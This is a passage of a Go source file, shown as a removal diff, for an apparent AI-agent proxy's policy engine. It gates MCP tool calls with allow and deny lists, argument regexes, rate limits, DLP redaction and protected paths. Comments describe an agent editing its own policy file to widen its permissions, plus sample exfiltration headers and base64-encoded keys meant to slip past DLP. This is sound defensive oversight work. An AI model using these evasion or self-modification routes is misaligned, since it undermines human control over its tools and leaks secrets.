- TokenTTL string `yaml:"token_ttl,omitempty"`
-
- // RotationInterval is how often to rotate tokens before expiry.
- RotationInterval string `yaml:"rotation_interval,omitempty"`
-
- // RequireToken when true requires all tool calls to include a valid token.
- RequireToken bool `yaml:"require_token,omitempty"`
-
- // SessionBinding determines what context is bound to the session identity.
- // Values: "process", "policy", "strict"
- SessionBinding string `yaml:"session_binding,omitempty"`
-}
-
-// ServerConfig holds the HTTP server configuration for v1alpha2.
-// Maps to spec.server in the policy YAML.
-type ServerConfig struct {
- // Enabled controls whether the HTTP server is active.
- Enabled bool `yaml:"enabled,omitempty"`
-
- // Listen is the address and port to bind.
- Listen string `yaml:"listen,omitempty"`
-
- // TLS configures HTTPS.
- TLS *TLSConfig `yaml:"tls,omitempty"`
-
- // Endpoints configures custom endpoint paths.
- Endpoints *EndpointsConfig `yaml:"endpoints,omitempty"`
-}
-
-// TLSConfig holds TLS configuration.
-type TLSConfig struct {
- Cert string `yaml:"cert,omitempty"`
- Key string `yaml:"key,omitempty"`
- ClientCA string `yaml:"client_ca,omitempty"`
- RequireClientCert bool `yaml:"require_client_cert,omitempty"`
-}
-
-// EndpointsConfig holds custom endpoint paths.
-type EndpointsConfig struct {
- Validate string `yaml:"validate,omitempty"`
- Health string `yaml:"health,omitempty"`
- Metrics string `yaml:"metrics,omitempty"`
-}
-
-// DLPConfig configures Data Loss Prevention (output redaction) rules.
-//
-// Example YAML:
-//
-// dlp:
-// enabled: true
-// patterns:
-// - name: "Email"
-// regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
-// - name: "AWS Key"
-// regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-type DLPConfig struct {
- // Enabled controls whether DLP scanning is active (default: true if dlp block exists)
- Enabled *bool `yaml:"enabled,omitempty"`
-
- // DetectEncoding enables automatic detection and decoding of base64/hex encoded
- // strings before pattern matching. This catches secrets encoded to bypass DLP.
- //
- // When enabled:
- // - Strings matching base64 patterns are decoded and scanned
- // - Strings matching hex patterns (0x prefix or long hex) are decoded and scanned
- // - If a secret is found in decoded content, the original encoded string is redacted
- //
- // Example attack prevented:
- // Secret: AKIAIOSFODNN7EXAMPLE
- // Encoded: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=
- // Without detect_encoding: Passes through (no match)
- // With detect_encoding: Redacted (decoded, matched, original replaced)
- //
- // Default: false (for backward compatibility and performance)
- DetectEncoding bool `yaml:"detect_encoding,omitempty"`
-
- // FilterStderr applies DLP scanning to subprocess stderr output.
- // When enabled, any sensitive data in error logs is redacted before display.
- //
- // This prevents information leakage through error messages, stack traces,
- // and debug output that might contain secrets.
- //
- // Default: false (for backward compatibility)
- FilterStderr bool `yaml:"filter_stderr,omitempty"`
-
- // Patterns defines the sensitive data patterns to detect and redact.
- Patterns []DLPPattern `yaml:"patterns"`
-}
-
-// DLPPattern defines a single sensitive data detection rule.
-type DLPPattern struct {
- // Name is a human-readable identifier for the pattern (used in redaction placeholder)
- Name string `yaml:"name"`
-
- // Regex is the pattern to match sensitive data
- Regex string `yaml:"regex"`
-}
-
-// IsEnabled returns true if DLP scanning is enabled.
-func (d *DLPConfig) IsEnabled() bool {
- if d == nil {
- return false
- }
- if d.Enabled == nil {
- return true // Default to enabled if dlp block exists
- }
- return *d.Enabled
-}
-
-// ToolRule defines argument-level validation for a specific tool.
-//
-// Example YAML:
-//
-// tool_rules:
-// - tool: fetch_url
-// allow_args:
-// url: "^https://github\\.com/.*"
-// - tool: run_query
-// allow_args:
-// query: "^SELECT\\s+.*"
-// - tool: dangerous_tool
-// action: ask
-// - tool: expensive_api_call
-// rate_limit: "5/minute"
-// - tool: high_security_tool
-// strict_args: true
-// allow_args:
-// param: "^valid$"
-type ToolRule struct {
- // Tool is the name of the tool this rule applies to.
- Tool string `yaml:"tool"`
-
- // Action specifies what happens when this tool is called.
- // Values: "allow" (default), "block", "ask"
- // - "allow": Permit the tool call (subject to arg validation)
- // - "block": Deny the tool call unconditionally
- // - "ask": Prompt user via native OS dialog for approval
- Action string `yaml:"action,omitempty"`
-
- // RateLimit specifies the maximum call rate for this tool.
- // Format: "N/duration" where duration is "second", "minute", or "hour".
- // Examples: "5/minute", "100/hour", "10/second"
- // If empty, no rate limiting is applied.
- RateLimit string `yaml:"rate_limit,omitempty"`
-
- // StrictArgs when true rejects any arguments not explicitly declared in AllowArgs.
- // Default: nil (inherit from strict_args_default)
- // Set to true/false to override the global default for this specific tool.
- //
- // Use strict_args: true for high-security tools where unknown arguments
- // could be used for data exfiltration or bypass attacks.
- //
- // Example attack prevented:
- // Policy validates: url: "^https://github.com/.*"
- // Attacker sends: {"url": "https://github.com/ok", "headers": {"X-Exfil": "secret"}}
- // Without strict: headers passes through unchecked
- // With strict: BLOCKED - "headers" not in allow_args
- StrictArgs *bool `yaml:"strict_args,omitempty"`
-
- // AllowArgs maps argument names to regex patterns.
- // Each argument value must match its corresponding regex.
- // Key = argument name, Value = regex pattern string.
- AllowArgs map[string]string `yaml:"allow_args"`
-
- // compiledArgs holds pre-compiled regex patterns for performance.
- // Populated during Load() to avoid recompilation on every request.
- compiledArgs map[string]*regexp.Regexp
-
- // parsedRateLimit holds the parsed rate limit value (requests per second).
- // Zero means no rate limiting.
- parsedRateLimit rate.Limit
-
- // parsedBurst holds the burst size for rate limiting.
- // Defaults to the rate limit count (N in "N/duration").
- parsedBurst int
-}
-
-// ParseRateLimit parses a rate limit string like "5/minute" into rate.Limit and burst.
-// Returns (0, 0, nil) if the input is empty (no rate limiting).
-// Returns error if the format is invalid.
-//
-// Supported formats:
-// - "N/second" - N requests per second
-// - "N/minute" - N requests per minute
-// - "N/hour" - N requests per hour
-func ParseRateLimit(s string) (rate.Limit, int, error) {
- if s == "" {
- return 0, 0, nil // No rate limiting
- }
-
- s = strings.TrimSpace(s)
- parts := strings.Split(s, "/")
- if len(parts) != 2 {
- return 0, 0, fmt.Errorf("invalid rate limit format %q: expected 'N/duration'", s)
- }
-
- count, err := strconv.Atoi(strings.TrimSpace(parts[0]))
- if err != nil || count <= 0 {
- return 0, 0, fmt.Errorf("invalid rate limit count %q: must be positive integer", parts[0])
- }
-
- duration := strings.ToLower(strings.TrimSpace(parts[1]))
- var perSecond float64
-
- switch duration {
- case "second", "sec", "s":
- perSecond = float64(count)
- case "minute", "min", "m":
- perSecond = float64(count) / 60.0
- case "hour", "hr", "h":
- perSecond = float64(count) / 3600.0
- default:
- return 0, 0, fmt.Errorf("invalid rate limit duration %q: must be 'second', 'minute', or 'hour'", duration)
- }
-
- // Burst is set to the count to allow the full quota to be used in a burst
- return rate.Limit(perSecond), count, nil
-}
-
-// -----------------------------------------------------------------------------
-// Policy Engine
-// -----------------------------------------------------------------------------
-
-// PolicyMode constants for enforcement behavior.
-const (
- // ModeEnforce blocks violations and returns errors to client (default).
- ModeEnforce = "enforce"
- // ModeMonitor logs violations but allows requests through (dry run).
- ModeMonitor = "monitor"
-)
-
-// ActionType constants for rule actions.
-const (
- // ActionAllow permits the tool call (default).
- ActionAllow = "allow"
- // ActionBlock denies the tool call.
- ActionBlock = "block"
- // ActionAsk prompts the user for approval via native OS dialog.
- ActionAsk = "ask"
- // ActionRateLimited indicates the call was blocked due to rate limiting.
- ActionRateLimited = "rate_limited"
- // ActionProtectedPath indicates the call was blocked due to accessing a protected path.
- // This is a security-critical event that should be audited separately.
- ActionProtectedPath = "protected_path"
-)
-
-// Engine evaluates tool calls against the loaded policy.
-//
-// The engine is the "brain" of the AIP proxy. It maintains the parsed policy
-// and provides fast lookups to determine if a tool call should be allowed.
-//
-// Thread-safety: The engine is safe for concurrent use after initialization.
-// The allowedSet and toolRules maps are read-only after Load().
-// The limiters map is thread-safe via its own internal mutex.
-type Engine struct {
- // policy holds the parsed agent.yaml configuration.
- policy *AgentPolicy
-
- // policyData holds the raw policy bytes for hash computation.
- policyData []byte
-
- // policyPath holds the path to the policy file.
- policyPath string
-
- // allowedSet provides O(1) lookup for allowed tools.
- // Populated during Load() from policy.Spec.AllowedTools.
- allowedSet map[string]struct{}
-
- // deniedSet provides O(1) lookup for denied tools.
- // Populated during Load() from policy.Spec.DeniedTools.
- // Takes precedence over allowedSet (deny wins).
- deniedSet map[string]struct{}
-
- // toolRules provides O(1) lookup for tool-specific argument rules.
- // Key = normalized tool name, Value = ToolRule with compiled regexes.
- toolRules map[string]*ToolRule
-
- // allowedMethods provides O(1) lookup for allowed JSON-RPC methods.
- // Populated during Load() from policy.Spec.AllowedMethods.
- allowedMethods map[string]struct{}
-
- // deniedMethods provides O(1) lookup for denied JSON-RPC methods.
- // Takes precedence over allowedMethods.
- deniedMethods map[string]struct{}
-
- // protectedPaths holds paths that tools may not access.
- // Always includes the policy file itself.
- protectedPaths []string
-
- // mode controls enforcement behavior: "enforce" (default) or "monitor".
- // In monitor mode, violations are logged but allowed through.
- mode string
-
- // limiters holds per-tool rate limiters.
- // Key = normalized tool name, Value = ToolRule with compiled regexes.
- // Populated during Load() for tools with rate_limit defined.
- limiters map[string]*rate.Limiter
-
- // limiterMu protects concurrent access to limiters map.
- limiterMu sync.RWMutex
-}
-
-// DefaultAllowedMethods are safe JSON-RPC methods permitted when no explicit list is provided.
-// These methods are considered safe because they either:
-// - Are required for MCP protocol handshake (initialize, initialized, ping)
-// - Are already policy-checked at the tool level (tools/call)
-// - Are read-only metadata operations (tools/list)
-// - Are client-side notifications that don't access resources
-//
-// SECURITY NOTE: The following methods are intentionally EXCLUDED:
-// - resources/read, resources/list (can read arbitrary files)
-// - prompts/get, prompts/list (can access prompt templates)
-// - logging/* (could leak information)
-//
-// If your MCP server needs these methods, explicitly add them to allowed_methods.
-var DefaultAllowedMethods = []string{
- "initialize",
- "initialized",
- "ping",
- "tools/call",
- "tools/list",
- "completion/complete",
- "notifications/initialized",
- "notifications/progress",
- "notifications/message",
- "notifications/resources/updated",
- "notifications/resources/list_changed",
- "notifications/tools/list_changed",
- "notifications/prompts/list_changed",
- "cancelled",
-}
-
-// NewEngine creates a new policy engine instance.
-//
-// The engine is not usable until Load() or LoadFromFile() is called.
-func NewEngine() *Engine {
- return &Engine{
- allowedSet: make(map[string]struct{}),
- toolRules: make(map[string]*ToolRule),
- // allowedMethods and deniedMethods are nil by default to trigger
- // "no policy loaded" behavior in IsMethodAllowed
- limiters: make(map[string]*rate.Limiter),
- }
-}
-
-// Load parses a policy from YAML bytes and initializes the engine.
-//
-// This method builds the internal allowedSet for fast IsAllowed() lookups
-// and compiles all regex patterns in tool_rules for argument validation.
-// Tool names are normalized to lowercase for case-insensitive matching.
-//
-// Returns an error if:
-// - YAML parsing fails
-// - Required fields are missing
-// - Any regex pattern in allow_args is invalid
-func (e *Engine) Load(data []byte) error {
- var policy AgentPolicy
- if err := yaml.Unmarshal(data, &policy); err != nil {
- return fmt.Errorf("failed to parse policy YAML: %w", err)
- }
-
- // Validate required fields
- if policy.APIVersion == "" {
- return fmt.Errorf("policy missing required field: apiVersion")
- }
- if policy.Kind != "AgentPolicy" {
- return fmt.Errorf("unexpected kind %q, expected AgentPolicy", policy.Kind)
- }
-
- // Store raw policy data for hash computation (v1alpha2)
- e.policyData = data
-
- // Build the allowed set for O(1) lookups
- // Use NormalizeName for Unicode-safe, case-insensitive matching
- e.allowedSet = make(map[string]struct{}, len(policy.Spec.AllowedTools))
- for _, tool := range policy.Spec.AllowedTools {
- normalized := NormalizeName(tool)
- e.allowedSet[normalized] = struct{}{}
- }
-
- // Build the denied set for O(1) lookups
- // Deny takes precedence over allow
- e.deniedSet = make(map[string]struct{}, len(policy.Spec.DeniedTools))
- for _, tool := range policy.Spec.DeniedTools {
- normalized := NormalizeName(tool)
- e.deniedSet[normalized] = struct{}{}
- }
-
- // Compile tool rules with regex patterns and initialize rate limiters
- e.toolRules = make(map[string]*ToolRule, len(policy.Spec.ToolRules))
- e.limiters = make(map[string]*rate.Limiter)
- for i := range policy.Spec.ToolRules {
- rule := &policy.Spec.ToolRules[i]
- normalized := NormalizeName(rule.Tool)
-
- // Normalize and validate action field
- rule.Action = strings.ToLower(strings.TrimSpace(rule.Action))
- if rule.Action == "" {
- rule.Action = ActionAllow // Default to allow
- }
- if rule.Action != ActionAllow && rule.Action != ActionBlock && rule.Action != ActionAsk {
- return fmt.Errorf("invalid action %q for tool %q, must be 'allow', 'block', or 'ask'", rule.Action, rule.Tool)
- }
-
- // Parse rate limit if specified
- if rule.RateLimit != "" {
- limit, burst, err := ParseRateLimit(rule.RateLimit)
- if err != nil {
- return fmt.Errorf("invalid rate_limit for tool %q: %w", rule.Tool, err)
- }
- rule.parsedRateLimit = limit
- rule.parsedBurst = burst
- // Create the rate limiter for this tool
- e.limiters[normalized] = rate.NewLimiter(limit, burst)
- }
-
- // Compile all regex patterns for this tool with ReDoS protection
- rule.compiledArgs = make(map[string]*regexp.Regexp, len(rule.AllowArgs))
- for argName, pattern := range rule.AllowArgs {
- // Validate regex complexity before compilation (best-effort heuristic)
- if err := ValidateRegexComplexity(pattern); err != nil {
- return fmt.Errorf("potentially dangerous regex for tool %q arg %q: %w", rule.Tool, argName, err)
- }
- // Compile with timeout to prevent ReDoS at compile time
- compiled, err := SafeCompile(pattern, 0)
- if err != nil {
- return fmt.Errorf("invalid regex for tool %q arg %q: %w", rule.Tool, argName, err)
- }
- rule.compiledArgs[argName] = compiled
- }
-
- e.toolRules[normalized] = rule
-
- // Implicitly add tool to allowed set if it has rules defined
- // (even if action=block or action=ask, we track the tool for rule lookup)
- e.allowedSet[normalized] = struct{}{}
- }
-
- // Set enforcement mode (default to enforce if not specified)
- e.mode = strings.ToLower(strings.TrimSpace(policy.Spec.Mode))
- if e.mode == "" {
- e.mode = ModeEnforce
- }
- if e.mode != ModeEnforce && e.mode != ModeMonitor {
- return fmt.Errorf("invalid mode %q, must be 'enforce' or 'monitor'", policy.Spec.Mode)
- }
-
- // Build method allowlist for O(1) lookups
- // If no methods specified, use safe defaults
- e.allowedMethods = make(map[string]struct{})
- e.deniedMethods = make(map[string]struct{})
-
- if len(policy.Spec.AllowedMethods) > 0 {
- for _, method := range policy.Spec.AllowedMethods {
- normalized := NormalizeName(method)
- e.allowedMethods[normalized] = struct{}{}
- }
- } else {
- // Use default safe methods
- for _, method := range DefaultAllowedMethods {
- e.allowedMethods[NormalizeName(method)] = struct{}{}
- }
- }
-
- // Build denied methods set (takes precedence over allowed)
- for _, method := range policy.Spec.DeniedMethods {
- normalized := NormalizeName(method)
- e.deniedMethods[normalized] = struct{}{}
- }
-
- // Initialize protected paths from policy
- e.protectedPaths = make([]string, 0, len(policy.Spec.ProtectedPaths))
- for _, p := range policy.Spec.ProtectedPaths {
- expanded := expandPath(p)
- e.protectedPaths = append(e.protectedPaths, expanded)
- }
-
- e.policy = &policy
- return nil
-}
-
-// LoadFromFile reads and parses a policy file from disk.
-// The policy file path is automatically added to protected paths.
-func (e *Engine) LoadFromFile(path string) error {
- data, err := os.ReadFile(path)
- if err != nil {
- return fmt.Errorf("failed to read policy file %q: %w", path, err)
- }
- if err := e.Load(data); err != nil {
- return err
- }
-
- // Store policy path for identity management (v1alpha2)
- absPath, err := filepath.Abs(path)
- if err == nil {
- e.policyPath = absPath
- e.protectedPaths = append(e.protectedPaths, absPath)
- } else {
- // Fallback to original path if abs fails
- e.policyPath = path
- e.protectedPaths = append(e.protectedPaths, path)
- }
-
- return nil
-}
-
-// GetPolicyData returns the raw policy bytes for hash computation.
-func (e *Engine) GetPolicyData() []byte {
- return e.policyData
-}
-
-// GetPolicyPath returns the path to the policy file.
-func (e *Engine) GetPolicyPath() string {
- return e.policyPath
-}
-
-// GetIdentityConfig returns the identity configuration.
-// Returns nil if no identity config is defined.
-func (e *Engine) GetIdentityConfig() *IdentityConfig {
- if e.policy == nil {
- return nil
- }
- return e.policy.Spec.Identity
-}
-
-// GetServerConfig returns the server configuration.
-// Returns nil if no server config is defined.
-func (e *Engine) GetServerConfig() *ServerConfig {
- if e.policy == nil {
- return nil
- }
- return e.policy.Spec.Server
-}
-
-// GetAPIVersion returns the policy API version.
-func (e *Engine) GetAPIVersion() string {
- if e.policy == nil {
- return ""
- }
- return e.policy.APIVersion
-}
-
-// expandPath expands ~ to home directory and resolves to absolute path.
-func expandPath(path string) string {
- if strings.HasPrefix(path, "~/") {
- if home, err := os.UserHomeDir(); err == nil {
- path = filepath.Join(home, path[2:])
- }
- }
- if abs, err := filepath.Abs(path); err == nil {
- return abs
- }
- return path
-}
-
-// checkProtectedPaths scans tool arguments for protected file paths.
-// Returns the protected path that was found, or empty string if none.
-//
-// This is a defense against policy self-modification attacks:
-// - Agent tries to write to policy.yaml to add itself to allowed_tools
-// - Agent tries to read policy.yaml to discover blocked tools
-// - Agent tries to modify other sensitive files
-//
-// The check is performed on all string arguments, recursively scanning
-// nested objects and arrays.
-func (e *Engine) checkProtectedPaths(args map[string]any) string {
- if len(e.protectedPaths) == 0 {
- return ""
- }
- return e.scanArgsForProtectedPaths(args)
-}
-
-// scanArgsForProtectedPaths recursively scans arguments for protected paths.
-func (e *Engine) scanArgsForProtectedPaths(v any) string {
- switch val := v.(type) {
- case string:
- return e.matchProtectedPath(val)
- case map[string]any:
- for _, v := range val {
- if found := e.scanArgsForProtectedPaths(v); found != "" {
- return found
- }
- }
- case []any:
- for _, item := range val {
- if found := e.scanArgsForProtectedPaths(item); found != "" {
- return found
- }
- }
- }
- return ""
-}
-
-// matchProtectedPath checks if a string value matches any protected path.
-func (e *Engine) matchProtectedPath(value string) string {
- // Expand and normalize the value
- expanded := expandPath(value)
-
- for _, protected := range e.protectedPaths {
- // Exact match
- if expanded == protected || value == protected {
- return protected
- }
- // Check if value is under protected directory
- if strings.HasPrefix(expanded, protected+string(filepath.Separator)) {
- return protected
- }
- // Check if protected path is contained in the value (e.g., in a command string)
- if strings.Contains(value, protected) {
- return protected
- }
- // Also check the base name for common file references
- if filepath.Base(expanded) == filepath.Base(protected) &&
- strings.Contains(value, filepath.Base(protected)) {
- // Only match if it looks like a path (contains separator or starts with .)
- if strings.ContainsAny(value, "/\\") || strings.HasPrefix(value, ".") {
- return protected
- }
- }
- }
- return ""
-}
-
-// GetProtectedPaths returns the list of protected paths for logging.
-func (e *Engine) GetProtectedPaths() []string {
- return e.protectedPaths
-}
-
-// AddProtectedPath adds a path to the protected list.
-// Useful for adding paths dynamically (e.g., audit log file).
-func (e *Engine) AddProtectedPath(path string) {
- expanded := expandPath(path)
- e.protectedPaths = append(e.protectedPaths, expanded)
-}
-
-// Decision contains the result of a tool call authorization check.
-//
-// This struct supports both enforce and monitor modes:
-// - In enforce mode: Allowed=false means the request is blocked
-// - In monitor mode: Allowed=true but ViolationDetected=true means
-// the request passed through but would have been blocked
-//
-// The ViolationDetected field is critical for audit logging to identify
-// "dry run blocks" in monitor mode.
-//
-// The Action field supports human-in-the-loop approval:
-// - ActionAllow: Forward request to server
-// - ActionBlock: Return error to client
-// - ActionAsk: Prompt user for approval via native OS dialog
-type Decision struct {
- // Allowed indicates if the request should be forwarded to the server.
- // In enforce mode: false = blocked
- // In monitor mode: always true (violations pass through)
- // Note: When Action=ActionAsk, Allowed is not the final answer.
- Allowed bool
-
- // Action specifies the required action for this tool call.
- // Values: "allow", "block", "ask", "rate_limited", "protected_path"
- // When Action="ask", the proxy should prompt the user for approval.
- Action string
-
- // ViolationDetected indicates if a policy violation was found.
- // true = policy would block this request (or did block in enforce mode)
- // This field is essential for audit logging in monitor mode.
- ViolationDetected bool
-
- // FailedArg is the name of the argument that failed validation (if any).
- FailedArg string
-
- // FailedRule is the regex pattern that failed to match (if any).
- FailedRule string
-
- // ProtectedPath is set when Action=ActionProtectedPath, containing the
- // path that triggered the security block. This is critical for audit.
- ProtectedPath string
-
- // Reason provides a human-readable explanation of the decision.
- Reason string
-}
-
-// ValidationResult is an alias for Decision for backward compatibility.
-// Deprecated: Use Decision instead.
-type ValidationResult = Decision
-
-// IsAllowed checks if the given tool name and arguments are permitted by policy.
-//
-// This is the primary authorization check called by the proxy for every
-// tools/call request. The check flow is:
-//
-// 1. Check if tool has a rule with action="block" β Return BLOCK decision
-// 2. Check if tool has a rule with action="ask" β Return ASK decision
-// 3. Check if tool is in allowed_tools list (O(1) lookup)
-// 4. If tool has argument rules in tool_rules, validate each argument
-// 5. Return detailed Decision for error reporting and audit logging
-//
-// Tool names are normalized to lowercase for case-insensitive matching.
-//
-// Authorization Logic:
-// - Tool has action="block" β Block unconditionally
-// - Tool has action="ask" β Return ASK (requires user approval)
-// - Tool not in allowed_tools β Violation detected
-// - Tool allowed, no argument rules β Allow (implicit allow all args)
-// - Tool allowed, has argument rules β Validate each constrained arg
-// - Any argument fails regex match β Violation detected
-//
-// Monitor Mode Behavior:
-// - When mode="monitor", violations set ViolationDetected=true but Allowed=true
-// - This enables "dry run" testing of policies before enforcement
-// - The proxy should log these as "ALLOW_MONITOR" decisions
-// - Note: action="ask" rules still require user approval in monitor mode
-//
-// Example:
-//
-// decision := engine.IsAllowed("fetch_url", map[string]any{"url": "https://evil.com"})
-// if decision.Action == ActionAsk {
-// // Prompt user for approval via native OS dialog
-// } else if decision.ViolationDetected {
-// if !decision.Allowed {
-// // ENFORCE mode: Return JSON-RPC Forbidden error
-// } else {
-// // MONITOR mode: Log violation but forward request
-// }
-// }
-func (e *Engine) IsAllowed(toolName string, args map[string]any) Decision {
- if e.allowedSet == nil {
- // No policy loaded = deny all (fail closed)
- return Decision{
- Allowed: false,
- Action: ActionBlock,
- ViolationDetected: true,
- Reason: "no policy loaded",
- }
- }
-
- // Normalize tool name using Unicode-safe normalization
- // This prevents bypass attacks via fullwidth chars, ligatures, etc.
- normalized := NormalizeName(toolName)
-
- // Step 0: Check rate limiting FIRST (before any other checks)
- // Rate limits are enforced regardless of mode (even in monitor mode)
- if limiter := e.getLimiter(normalized); limiter != nil {
- if !limiter.Allow() {
- return Decision{
- Allowed: false,
- Action: ActionRateLimited,
- ViolationDetected: true,
- Reason: fmt.Sprintf("rate limit exceeded for tool %q", toolName),
- }
- }
- }
-
- // Step 0.5: Check protected paths (policy self-modification defense)
- // This blocks any attempt to read/write/modify protected files
- // including the policy file itself.
- if protectedPath := e.checkProtectedPaths(args); protectedPath != "" {
- return Decision{
- Allowed: false,
- Action: ActionProtectedPath,
- ViolationDetected: true,
- ProtectedPath: protectedPath,
- Reason: fmt.Sprintf("access to protected path %q blocked (policy self-modification defense)", protectedPath),
- }
- }
-
- // Step 1: Check if tool is in denied_tools list (deny wins over allow)
- if _, denied := e.deniedSet[normalized]; denied {
- return e.makeDecision(false, "tool in denied_tools list", "", "")
- }
-
- // Step 2: Check if tool has a specific rule with action
- rule, hasRule := e.toolRules[normalized]
- if hasRule {
- // Check action type first
- switch rule.Action {
- case ActionBlock:
- // Unconditionally block this tool
- return Decision{
- Allowed: false,
- Action: ActionBlock,
- ViolationDetected: true,
- Reason: "tool has action=block in tool_rules",
- }
- case ActionAsk:
- // Requires user approval - validate args first if present
- if len(rule.compiledArgs) > 0 {
- // Validate arguments before asking user
- for argName, compiledRegex := range rule.compiledArgs {
- argValue, exists := args[argName]
- if !exists {
- return e.makeDecision(false, "required argument missing", argName, rule.AllowArgs[argName])
- }
- strValue := argToString(argValue)
- if !compiledRegex.MatchString(strValue) {
- return e.makeDecision(false, "argument failed regex validation", argName, rule.AllowArgs[argName])
- }
- }
- }
- // Check strict args for ASK action too
- if e.isStrictArgs(rule) && len(args) > 0 {
- for argName := range args {
- if _, declared := rule.AllowArgs[argName]; !declared {
- return e.makeDecision(false,
- fmt.Sprintf("undeclared argument %q rejected (strict_args enabled)", argName),
- argName, "")
- }
- }
- }
- // Arguments valid (or no arg rules), return ASK decision
- return Decision{
- Allowed: false, // Not automatically allowed
- Action: ActionAsk,
- ViolationDetected: false, // Not a violation, just needs approval
- Reason: "tool requires user approval (action=ask)",
- }
- }
- // action="allow" falls through to normal validation
- }
-
- // Step 3: Check if tool is in allowed list
- if _, allowed := e.allowedSet[normalized]; !allowed {
- return e.makeDecision(false, "tool not in allowed_tools list", "", "")
- }
-
- // Step 4: Check for argument-level rules (for action=allow)
- if !hasRule || len(rule.compiledArgs) == 0 {
- // No argument rules = implicit allow all args
- return Decision{
- Allowed: true,
- Action: ActionAllow,
- ViolationDetected: false,
- Reason: "tool allowed, no argument constraints",
- }
- }
-
- // Step 5: Validate each constrained argument
- for argName, compiledRegex := range rule.compiledArgs {
- argValue, exists := args[argName]
- if !exists {
- // Argument not provided - this is a policy decision.
- // For security, we require constrained args to be present.
- return e.makeDecision(false, "required argument missing", argName, rule.AllowArgs[argName])
- }
-
- // Convert argument value to string for regex matching
- strValue := argToString(argValue)
-
- // Validate against the compiled regex
- if !compiledRegex.MatchString(strValue) {
- return e.makeDecision(false, "argument failed regex validation", argName, rule.AllowArgs[argName])
- }
- }
-
- // Step 6: Strict args mode - reject undeclared arguments
- // This prevents bypass attacks via extra arguments (e.g., headers, metadata)
- if e.isStrictArgs(rule) && len(args) > 0 {
- for argName := range args {
- if _, declared := rule.AllowArgs[argName]; !declared {
- return e.makeDecision(false,
- fmt.Sprintf("undeclared argument %q rejected (strict_args enabled)", argName),
- argName, "")
- }
- }
- }
-
- // All argument validations passed
- return Decision{
- Allowed: true,
- Action: ActionAllow,
- ViolationDetected: false,
- Reason: "tool and arguments permitted",
- }
-}
-
-// isStrictArgs returns true if strict argument validation is enabled for a tool rule.
-// Strict mode rejects any arguments not explicitly declared in allow_args.
-//
-// Priority:
-// 1. Rule-specific strict_args setting (if explicitly set via pointer)
-// 2. Global strict_args_default from policy spec
-// 3. Default: false (lenient mode)
-func (e *Engine) isStrictArgs(rule *ToolRule) bool {
- if rule == nil {
- // No rule = use global default
- if e.policy != nil {
- return e.policy.Spec.StrictArgsDefault
- }
- return false
- }
- // Rule-specific setting takes precedence (if explicitly set)
- if rule.StrictArgs != nil {
- return *rule.StrictArgs
- }
- // Fall back to global default
- if e.policy != nil {
- return e.policy.Spec.StrictArgsDefault
- }
- return false
-}
-
-// makeDecision creates a Decision based on violation and current mode.
-//
-// In enforce mode: violations result in Allowed=false, Action=ActionBlock
-// In monitor mode: violations result in Allowed=true, Action=ActionAllow, ViolationDetected=true
-func (e *Engine) makeDecision(wouldAllow bool, reason, failedArg, failedRule string) Decision {
- if wouldAllow {
- return Decision{
- Allowed: true,
- Action: ActionAllow,
- ViolationDetected: false,
- Reason: reason,
- FailedArg: failedArg,
- FailedRule: failedRule,
- }
- }
-
- // Violation detected
- if e.mode == ModeMonitor {
- // Monitor mode: allow through but flag as violation
- return Decision{
- Allowed: true,
- Action: ActionAllow, // Monitor mode allows through
- ViolationDetected: true,
- Reason: reason + " (monitor mode: allowed for dry run)",
- FailedArg: failedArg,
- FailedRule: failedRule,
- }
- }
-
- // Enforce mode: block the request
- return Decision{
- Allowed: false,
- Action: ActionBlock,
- ViolationDetected: true,
- Reason: reason,
- FailedArg: failedArg,
- FailedRule: failedRule,
- }
-}
-
-// argToString converts an argument value to string for regex matching.
-// Handles common JSON types: string, number, bool.
-// Complex types (slices, maps) are marshaled to JSON to ensure deterministic matching.
-func argToString(v any) string {
- switch val := v.(type) {
- case string:
- return val
- case float64:
- // Use -1 to format minimal decimal digits needed
- return strconv.FormatFloat(val, 'f', -1, 64)
- case int:
- return strconv.Itoa(val)
- case bool:
- return strconv.FormatBool(val)
- case nil:
- return ""
- default:
- // Fallback for complex types: JSON representation
- // This ensures []string{"a", "b"} becomes `["a","b"]` instead of `[a b]`
- if b, err := json.Marshal(v); err == nil {
- return string(b)
- }
- // Last resort fallback
- return fmt.Sprintf("%v", val)
- }
-}
-
-// GetPolicyName returns the name of the loaded policy for logging.
-func (e *Engine) GetPolicyName() string {
- if e.policy == nil {
- return ""
- }
- return e.policy.Metadata.Name
-}
-
-// GetMode returns the current enforcement mode ("enforce" or "monitor").
-func (e *Engine) GetMode() string {
- if e.mode == "" {
- return ModeEnforce
- }
- return e.mode
-}
-
-// IsMonitorMode returns true if the engine is in monitor/dry-run mode.
-func (e *Engine) IsMonitorMode() bool {
- return e.mode == ModeMonitor
-}
-
-// GetAllowedTools returns a copy of the allowed tools list for inspection.
-func (e *Engine) GetAllowedTools() []string {
- if e.policy == nil {
- return nil
- }
- result := make([]string, len(e.policy.Spec.AllowedTools))
- copy(result, e.policy.Spec.AllowedTools)
- return result
-}
-
-// GetDeniedTools returns a copy of the denied tools list for inspection.
-func (e *Engine) GetDeniedTools() []string {
- if e.policy == nil {
- return nil
- }
- result := make([]string, len(e.policy.Spec.DeniedTools))
- copy(result, e.policy.Spec.DeniedTools)
- return result
-}
-
-// GetDLPConfig returns the DLP configuration from the policy.
-// Returns nil if no DLP config is defined.
-func (e *Engine) GetDLPConfig() *DLPConfig {
- if e.policy == nil {
- return nil
- }
- return e.policy.Spec.DLP
-}
-
-// getLimiter returns the rate limiter for a tool, or nil if none configured.
-// Thread-safe via read lock.
-func (e *Engine) getLimiter(normalizedTool string) *rate.Limiter {
- e.limiterMu.RLock()
- defer e.limiterMu.RUnlock()
- return e.limiters[normalizedTool]
-}
-
-// ResetLimiter resets the rate limiter for a specific tool.
-// Useful for testing or administrative reset.
-func (e *Engine) ResetLimiter(toolName string) {
- normalized := NormalizeName(toolName)
- e.limiterMu.Lock()
- defer e.limiterMu.Unlock()
-
- if rule, ok := e.toolRules[normalized]; ok && rule.parsedRateLimit > 0 {
- e.limiters[normalized] = rate.NewLimiter(rule.parsedRateLimit, rule.parsedBurst)
- }
-}
-
-// ResetAllLimiters resets all rate limiters to their initial state.
-// Useful for testing or administrative reset.
-func (e *Engine) ResetAllLimiters() {
- e.limiterMu.Lock()
